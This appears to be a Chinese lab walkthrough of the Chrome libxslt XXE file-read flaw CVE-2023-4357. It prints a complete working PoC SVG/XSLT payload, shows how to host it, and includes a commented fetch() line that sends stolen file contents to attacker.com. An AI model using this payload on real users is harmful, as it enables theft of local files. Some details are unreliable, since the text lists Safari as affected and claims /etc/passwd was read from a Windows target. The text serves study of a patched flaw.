目录
一、Chrome任意文件读取漏洞(CVE-2023-4357)
本文分析了Chrome浏览器XXE漏洞(CVE-2023-4357)的利用过程。该漏洞存在于libxslt库中,攻击者通过构造恶意SVG/XSLT文档,利用href="?#"属性和document('')函数的自我引用机制,触发XXE漏洞实现任意文件读取。实验环境包括Kali攻击机(192.168.59.141)和Windows靶机(192.168.59.146),靶机需运行未修复的Chrome浏览器(版本<116.0.5845.96)且处于断网状态。攻击过程包含生成PoC、搭建HTTP服务、诱导靶机访问恶意链接等步骤,最终成功读取Windows系统文件(c:/windows/system.ini)并展示其内容。该漏洞已在Chrome 116及以上版本修复。
| 角色 | 机器/实体 | IP地址 | 核心职能与行动 |
|---|---|---|---|
| 攻击者 (Attacker) | Kali Linux (攻击机) | 192.168.59.141 | 攻击发起与控制端 。负责: 1. 构建并托管包含恶意XXE Payload的网页 (evil.svg)。 2. 架设Web服务(接收请求)和数据回传服务(接收窃取的文件内容)。 3. 通过社交工程等手段诱导受害者访问恶意链接。 |
| 受害者 (Victim) | Windows (靶机) | 192.168.59.146 | 漏洞载体与目标 。其行为: 1. 运行未修复的旧版Chrome浏览器 (版本 < 116.0.5845.96)。 2. 在攻击者诱导下,访问了 http://192.168.59.141/evil.svg。 3. 浏览器触发漏洞,本地文件被非法读取并外传。 |
| 漏洞组件 (Vulnerable Component) | Chrome 的 libxslt 库 | (不适用) | 被利用的缺陷 。旧版本在解析 href="?#" 并处理 document('') 自我引用时,未正确限制XML外部实体,导致任意文件读取。 |
| 攻击载荷 (Payload) | 恶意 SVG/XSLT 文档 | 托管于攻击机 | 漏洞利用的具体代码。即之前分析的PoC,通过XXE实体定义和JavaScript,实现文件读取、内容提取与回传。 |
| 数据回传点 (Exfiltration Point) | 攻击机上的监听服务 | 192.168.59.141 | 接收窃取数据的端点。可以是简单的HTTP服务器、Netcat监听或特定API接口,用于收集从受害者靶机发送来的敏感文件内容。 |
一、**Chrome任意文件读取漏洞(**CVE-2023-4357)
1、漏洞简介
Google Chrome浏览器在2023年被发现并修复了一个编号为CVE-2023-4357的安全漏洞。该漏洞属于XML外部实体(XXE)漏洞,攻击者可利用其窃取用户本地文件中的敏感信息。
| 项目 | 具体信息 |
|---|---|
| 漏洞编号 | CVE-2023-4357 |
| 威胁等级 | 中危 / 高危(CVSS评分 8.8) |
| 公开时间 | 2023年8月披露,同年11月受到广泛关注 |
| 影响范围 | Google Chrome / Chromium 版本 < 116.0.5845.96 Electron框架 版本 < 26.1.0 依赖Chromium内核的应用 (如VS Code、微信、QQ浏览器、Safari等) |
| 漏洞原理 | 漏洞位于Chrome使用的libxslt库 中。旧版本在解析包含XSL样式表的SVG图像时,未能充分验证XML输入,导致可以引用外部实体。攻击者可构造恶意网页,诱使用户访问,从而读取用户设备上的任意文件。 |
| 修复方案 | 官方修复 :Google已发布安全更新,将Chrome升级至116.0.5845.96或更高版本 。 缓解措施:在升级前,避免点击来源不明的网页链接或邮件附件 |
2、漏洞原理
正常情况下,网页中的XML/XSLT不应该也无法通过 file:// 协议任意读取用户本地文件,这是浏览器同源策略 和沙箱安全模型 明令禁止的。然而,旧版本 libxslt 在处理 href="?#" 这个特殊属性时,错误地允许了文档的自我引用。当自我引用的文档中又包含了恶意的XXE实体声明(指向 file:// 路径)时,安全检查就被绕过了。此时,本应被严格限制的 file:// 协议请求,被错误地当作来自"文档自身"的合法请求而执行,从而导致任意文件读取。
-
漏洞根源:有缺陷的库
漏洞存在于 Chrome/Chromium 底层使用的开源
libxslt库 中。该库负责处理 XML 的 XSLT 转换。旧版本的libxslt在解析包含特定指令的 XML 文档时存在逻辑缺陷。 -
触发条件:特殊的"自我引用"
攻击者构造一个内嵌 XSLT 样式表的 SVG 图像文件 ,并在其中使用一个特殊的引用指令:
<?xml-stylesheet href="?#"?>。- 这个
?#序列是一个关键触发点 。存在缺陷的libxslt解析器会将其解释为"引用当前文档自身",从而开启一个自我处理的路径。
- 这个
-
利用机制:在"自我处理"中注入恶意指令
在文档完成"自我引用"后,攻击者在文档内部预先定义了 XML 外部实体。
-
例如:
<!ENTITY secret SYSTEM "file:///etc/passwd">。 -
这里的
SYSTEM "file://..."是关键,它指示 XML 处理器去读取一个外部URI的资源,在本例中就是本地文件系统。
-
-
突破限制:绕过的安全边界
在正常的浏览器安全模型中,网页脚本严格禁止 通过
file://协议访问用户本地文件,这是"同源策略"和沙箱的核心规则。- 然而,在此漏洞场景下,由于文档处于"自我引用"和"XSLT转换" 这个特殊的解析上下文中,
libxslt库错误地将本应被禁止的file://文件访问请求,当作来自文档自身的合法请求来处理,从而绕过了浏览器的沙箱限制。
- 然而,在此漏洞场景下,由于文档处于"自我引用"和"XSLT转换" 这个特殊的解析上下文中,
-
最终结果:实现任意文件读取
当实体被引用(例如
&secret;)时,有缺陷的库便会执行本应被阻止的文件读取操作,将指定路径的文件内容嵌入到文档结构中。配合页面中的JavaScript,这些被窃取的内容可以回显在页面上,甚至被自动发送到攻击者控制的服务器。
综上所示,简单来说,该漏洞的根源在于 Chrome 浏览器底层用于处理 XSLT 转换的 libxslt 开源库中存在一个逻辑缺陷。这个缺陷打破了浏览器沙箱对本地文件访问的严格限制。
二、实验拓扑
攻击者使用IP为192.168.59.141的Kali Linux作为攻击机,部署恶意网页并架设服务。受害者使用IP为192.168.59.146的Windows靶机,运行存在漏洞的旧版Chrome浏览器。双方处于同一局域网(192.168.59.0/24)内,模拟内网攻击场景。攻击流程始于攻击者诱导受害者访问恶意链接,漏洞触发后,受害者的浏览器会非授权读取本地敏感文件,并将内容自动回传至攻击机的监听服务,从而完成一次从信息收集到数据外泄的完整攻击链。此拓扑清晰地展示了基于浏览器的客户端漏洞如何在内网中形成单向数据泄露路径。
| 机器 | IP地址 | 在本次渗透测试中的状态与作用 |
| Kali Linux (攻击机) | 192.168.59.141 | 用于承载恶意网页 (包含构造的SVG/XXE Payload)、接收从靶机窃取的文件内容(通常监听HTTP或FTP服务)。 |
| Windows (靶机) | 192.168.59.146 | 运行未打补丁的旧版Chrome浏览器 (版本 < 116.0.5845.96)。攻击者需要诱导用户访问恶意网页以触发漏洞 |
|---|
如下流程图清晰地讲解了Chrome浏览器任意文件读取漏洞的核心攻击步骤 :攻击者主动投递武器(恶意网页),受害者被动触发(访问链接),漏洞在受害者机器上"自动"完成权限越界和数据窃取,最后数据流向攻击者。防御的关键在于阻断交互的起点 (避免访问恶意链接)和消除漏洞本身(及时更新浏览器)。

flowchart TD
subgraph A [攻击者角色]
direction LR
A1[攻击者: Kali Linux<br>192.168.59.141]
end
subgraph V [受害者角色]
direction LR
V1[受害者: Windows 靶机<br>192.168.59.146]
end
A -- 1. 构造并部署 --> P[恶意网页<br>内含XXE Payload]
P -- 2. 诱导访问 --> V
V -- 3. 触发漏洞 --> E[利用Chrome漏洞<br>读取本地文件]
E -- 4. 窃取数据 --> D[敏感文件内容<br>etc/passwd, system.ini等]
D -- 5. 自动回传 --> A
第一阶段:攻击准备与发起 (由攻击者主导)
-
步骤1 : 攻击者在Kali Linux (
192.168.59.141) 上,利用公开的漏洞细节,构造出包含恶意XXE Payload的SVG/XSLT文件,并在本地启动Web服务器进行托管。 -
步骤2 : 攻击者通过钓鱼邮件、即时消息或恶意广告 等方式,诱导受害者访问恶意链接 (如
http://192.168.59.141/evil.svg)。
第二阶段:漏洞触发与数据窃取 (在受害者端发生)
-
步骤3 : 受害者使用存在漏洞的旧版Chrome浏览器访问该链接。浏览器在解析恶意页面时,其中的
href="?#"和document('')指令触发libxslt库的XXE漏洞。 -
步骤4 : 漏洞被成功利用,浏览器根据Payload中的指令,尝试读取受害者电脑上的指定文件 (如
/etc/passwd或c:/windows/system.ini)。 -
步骤5 : 被读取的文件内容被嵌入到网页中,并通过JavaScript自动回传 至攻击者控制的服务器(
192.168.59.141),攻击完成。
三、靶机环境搭建
1、确保防火墙关闭

2、靶机断网安装chrome浏览器
版本:86.0.4240.75(64-bit),这里要特别注意安装和渗透的过程中不要联网,否则chrome浏览器的版本很快就会更新为最新没有此漏洞的版本,换言之就是靶机要断网才可以做这个实验,否则会实验失败。

这里最重要的一点就是靶机断网,特别重要,可以解决渗透失败的问题。
3、沙箱模式打开chrome浏览器
(1)环境准备
安装完成后桌面会生成一个快捷方式,可以右键打开所在文件夹,如下所示。

打开后效果如下所示,为chrome浏览器的安装绝对路径。

(2)使用无沙箱模式打开chrome浏览器
在此处使用chrome.exe --no-sandbox打开命令行并以无沙箱模式打开chrome浏览器
chrome.exe --no-sandbox
这里特别注意:chrome.exe --no-sandbox 是一个高风险、仅用于特定专业场景的启动参数 ,它告诉 Chrome 浏览器禁用其最核心的安全防护机制------沙箱(Sandbox)

(3)沙箱简介
你可以把沙箱想象成一个透明的防爆玻璃罩 。它将浏览器网页的渲染进程、插件等关键组件隔离在一个权限极低的封闭环境中运行 。即使恶意代码攻破了网页,也会被锁在"玻璃罩"内,无法伤害到外部的操作系统(如删除文件、安装软件、窃取其他程序的数据)。Chrome的沙箱不是一个单一功能,而是一套基于操作系统底层特性的复杂安全架构。其核心思想是 "最小权限原则"。
| 层级 | 被隔离的组件 | 作用与限制 | 类比 |
|---|---|---|---|
| 进程级沙箱 | 渲染进程 | 每个标签页、扩展程序都运行在独立的沙箱化进程中。一个标签页崩溃不会影响整个浏览器。 | 如同将每个囚犯(网页)关在独立的单人牢房,暴动无法蔓延。 |
| 系统权限限制 | 网络访问、文件系统、设备 | 沙箱内的进程权限被极大剥夺 。默认情况下,它不能直接读写用户文件、访问大部分硬件或执行系统命令。 | 囚犯在牢房里只能使用限定的物品,无法接触钥匙、武器或工具。 |
| 系统调用拦截 | 所有敏感操作 | 通过操作系统的安全机制(如Windows的Job对象、Linux的namespaces和seccomp-bpf),浏览器内核代理所有沙箱进程的请求,并拒绝危险操作。 |
所有囚犯的对外请求必须经过狱警检查,违禁请求被当场驳回。 |
(4)沙箱对比
是否禁用沙箱 (--no-sandbox)的对比如下表所示。
| 正常情况 (沙箱开启) | 使用 --no-sandbox 参数后 (沙箱关闭) |
|---|---|
| 网页进程权限极低,无法直接访问用户文件或系统资源。 | 网页代码拥有与启动Chrome的用户相同的完整权限。 |
| 漏洞(如CVE-2023-4357)的影响被限制,最多造成标签页崩溃或数据泄露,但无法破坏系统。 | 任何网页漏洞都可能被升级为对整个操作系统的致命攻击 ,恶意网站可以: • 任意安装流氓软件、勒索病毒 。 • 窃取、篡改或加密磁盘上任意的文档、照片 。 • 监控键盘输入、捕获屏幕。 |
普通用户绝对不应该使用此参数!--no-sandbox 是一把拆除浏览器自身装甲的钥匙,仅在可控的、隔离的专业测试环境中由明白风险的人员酌情使用,日常使用等同于将自己的电脑完全暴露于网络威胁之下。
四、连通性测试
1、获取kali的ip地址
通过ip a s 或者ifconfig查看ip地址,以本机为例,网卡地址为192.168.59.141,此即为攻击机的ip地址。

2、靶机和攻击机连通性测试
攻击机的ip地址为192.168.59.141, 靶机的ip地址为**192.168.59.146,**两者处于同一网段,逻辑上win和靶机是可以互相联通的,测试连通性没有问题。
- 仅在授权的测试环境中操作,禁止用于未授权的攻击;
- 靶机需关闭防护软件(如杀毒软件、防火墙),避免恶意 Payload 被拦截。
(1)靶机ping攻击机

(2)攻击机ping靶机

五、攻击机生成PoC
**1、**PoC分析
d.svg源码是一个利用Chrome浏览器XXE漏洞(CVE-2023-4357)的概念验证(PoC)。它通过构造一个特殊的XML/XSLT文档,利用 href="?#" 属性和 document('') 函数的自我引用机制,触发浏览器中libxslt库的解析缺陷。代码中定义的XML外部实体(XXE)会尝试读取目标系统的敏感文件(如Linux的 /etc/passwd 或Windows的 c:/windows/system.ini)。当受害者用存在漏洞的旧版Chrome浏览器访问此文档时,文件内容会被窃取并嵌入到网页的隐藏元素中,最终通过页面上的JavaScript代码将文件路径和内容显示出来,从而演示了任意文件读取的攻击过程。该漏洞已在Chrome 116及以上版本中被修复。
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///c:/windows/system.ini">
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
d.svg具备敏感信息获取功能,其可以获取2项信息,其中第一个文件(获取passwd)是linux和手机的版本,此时受害靶机要使用的Google Chrome需要在linux或者手机系统才可以渗透成功;第4个文件是获取windodws的敏感信息(获取system.ini),受害靶机要使用的Google Chrome需要在windows系统中可渗透成功。
| 目标文件 | 所属系统 | 文件性质与内容 |
|---|---|---|
/etc/passwd |
Linux/Unix | 系统用户账户数据库 。虽现代系统中密码哈希已移至/etc/shadow,但此文件仍包含:所有用户名、用户ID(UID)、组ID(GID)、用户描述、家目录和登录Shell。 |
c:/windows/system.ini |
Windows | 早期Windows的系统配置文件 。在现代系统中功能已弱化,但作为系统根目录文件,其可被读取是漏洞成功的关键信号。 |
2、源码注释
对利用CVE-2023-4357漏洞的POC的攻击步骤进行分析,如下所示。
| 步骤 | 技术环节 | 作用 |
|---|---|---|
| 1 | href="?#" |
触发libxslt解析器缺陷,允许文档自我引用 |
| 2 | <!ENTITY ... SYSTEM "file://..."> |
定义XXE外部实体,指向目标文件 |
| 3 | document('') |
XSLT函数调用,利用漏洞加载当前文档 |
| 4 | &entity_name; |
实体展开,实际尝试读取本地文件 |
| 5 | JavaScript处理 | 将读取到的文件内容格式化并显示,可被修改为外传 |
完整的代码注释如下所示,只能读取浏览器可访问 的文件,利用了XML外部实体(XXE) 文件读取的漏洞。
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!--
[漏洞触发点] href="?#" 是关键!
当Chrome解析器遇到"?#"这个特殊序列时,存在缺陷的libxslt库会将其解释为
"引用当前文档本身",从而允许XML文档自我引用,这是触发漏洞的第一步。
-->
<!DOCTYPE div [
<!-- 定义XML外部实体(XXE) -->
<!-- 参数实体:用于在文档中展开文件路径 -->
<!ENTITY passwd_p "file:///etc/passwd">
<!-- 通用实体:SYSTEM标识符,尝试读取系统文件内容 -->
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///c:/windows/system.ini">
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
<!--
[文件路径]:
- Linux: file:///etc/passwd (系统用户信息文件)
- Windows: file:///c:/windows/system.ini (系统配置文件)
通过file://协议,攻击者可以读取任意可访问的本地文件
-->
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<!-- XSL样式表定义,漏洞存在于Chrome的XSLT处理器中 -->
<xsl:template match="/">
<!--
[核心漏洞利用]:document('')调用
在XSLT中,document('')函数调用会返回当前样式表文档的根节点。
与前面的href="?#"结合,形成自我引用链,绕过安全限制。
-->
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<!-- 隐藏区域:存储窃取的文件信息 -->
<div style="display:none">
<!--
实体引用展开:
- &passwd_p; 展开为文件路径字符串
- &passwd_c; 尝试读取文件内容,如果成功则嵌入内容
-->
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<!-- 结果展示区域 -->
<div style="width:40rem" id="r" />
<script>
// JavaScript部分:将窃取的数据格式化展示
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
// 遍历所有<p>标签(包含窃取的文件信息)
document.querySelectorAll('p').forEach(p => {
// [数据外传点]:此处可以添加代码将p.innerHTML发送到攻击者服务器
// 例如:fetch('http://attacker.com/collect', {method: 'POST', body: p.innerHTML})
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
3、攻击机开启http服务
(1)将恶意poc所在的目录中打开命令行

(2)开启http服务
在 当前目录 快速启动一个 简易的HTTP文件服务器,命令如下所示。
python3 -m http.server 8888
| 命令部分 | 含义与作用 |
|---|---|
python3 |
调用 Python 3 解释器。 |
-m http.server |
-m 表示运行一个内置模块 。http.server 是 Python 标准库中的一个模块,专门用于创建简单的 HTTP 服务器。 |
8888 |
指定服务器监听的端口号 。你可以将其替换为其他未被占用的端口(如 8000)。如果不指定,默认端口是 8000。 |

六、渗透攻击
1、无沙箱模式访问攻击机网站
网站URL为攻击机的ip地址192.168.59.141:端口号8888,如下所示。
http://192.168.59.141:8888/
沙箱模式下向位于攻击机(IP为192.168.59.141)的简易HTTP服务器(运行在8888端口)发起请求,靶机访问链接的效果如下所示,其中d.svg即为计算机的PoC。
chrome.exe --no-sandbox

2、无沙箱模式访问PoC脚本
打开攻击机的名为d.svg的特定PoC文件,具体链接如下所示。
http://192.168.59.141:8888/d.svg
当受害者访问此链接时,浏览器便会加载并执行其中的恶意代码,触发漏洞,如下所示渗透成功,获取到windows server8的/etc/passwd信息,可以将其发送给黑客服务器。

谷歌在 Chrome 116 版本中通过更新 libxslt 库,修复了这个逻辑缺陷,严格限制了此类自我引用上下文中的外部资源访问,从而封堵了此漏洞。对于用户而言,将浏览器更新至最新版本是唯一彻底的防护措施。